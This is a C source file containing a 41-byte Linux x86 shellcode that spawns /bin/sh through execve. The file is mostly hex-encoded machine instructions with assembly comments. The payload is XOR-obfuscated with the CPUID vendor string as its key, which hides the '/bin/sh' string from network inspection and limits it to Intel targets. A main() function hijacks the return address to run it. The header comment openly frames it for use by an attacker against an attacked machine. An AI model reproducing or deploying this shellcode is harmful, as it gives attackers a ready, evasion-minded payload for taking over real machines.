/* * (linux/x86) execve("/bin/sh", ["/bin/sh"], NULL) / xor'ed against Intel x86 CPUID - 41 bytes * * The idea behind this shellcode is to use a *weak* pre-shared secret between the attacker and * the attacked machine. So if a 3rd party side would try to run this shellcode and would produce * a different CPUID output (e.g. different arch) the shellcode won't work. In addition this also * prevents from having the '/bin/sh' string visible on the wire. * * The shellcode key is (0x6c65746e, 'letn') and expected to be in %ecx register after CPUID * * - izik <izik@tty64.org> */ char shellcode[] = "\x31\xc0" // xor %eax,%eax "\x0f\xa2" // cpuid "\x51" // push %ecx "\x68\xe7\x95\xa8\xec" // push $0xeca895e7 "\x68\xde\x7f\x37\x3f" // push $0x3f377fde "\x68\x07\x1a\xec\x8f" // push $0x8fec1a07 "\x68\x6e\x1c\x4a\x0e" // push $0x0e4a1c6e "\x68\x06\x5b\x16\x04" // push $0x04165b06 // // <_unpack_loop>: // "\x31\x0c\x24" // xor %ecx,(%esp) "\x5a" // pop %edx "\x75\xfa" // jne <_unpack_loop> "\x83\xec\x18" // sub $0x18,%esp "\x54" // push %esp "\xc3"; // ret int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }